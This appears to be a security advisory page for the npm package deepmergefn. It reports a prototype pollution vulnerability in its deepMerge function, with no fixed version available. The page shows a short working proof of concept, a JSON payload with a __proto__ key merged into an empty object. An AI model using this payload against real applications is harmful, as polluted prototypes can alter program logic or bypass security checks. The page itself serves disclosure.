deepmergefn@1.0.4 vulnerabilities

Deep merge objects width diferent atributtes

1.1.0

4 years ago

4 years ago

Known vulnerabilities in the deepmergefn package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version

Vulnerability	Vulnerable Version
M Prototype Pollution deepmergefn is a Mixes two data objects in depth Affected versions of this package are vulnerable to Prototype Pollution via `deepMerge` function. PoC `const deepMerge = require("deepmergefn"); EVIL_DATA = JSON.parse('{"__proto__":{"polluted":true}}'); deepMerge({}, EVIL_DATA); console.log(polluted);` How to fix Prototype Pollution? There is no fixed version for `deepmergefn`.	*

deepmergefn is a Mixes two data objects in depth

Affected versions of this package are vulnerable to Prototype Pollution via deepMerge function.

const deepMerge = require("deepmergefn");
EVIL_DATA = JSON.parse('{"__proto__":{"polluted":true}}');
deepMerge({}, EVIL_DATA);
console.log(polluted);

How to fix Prototype Pollution?

There is no fixed version for deepmergefn.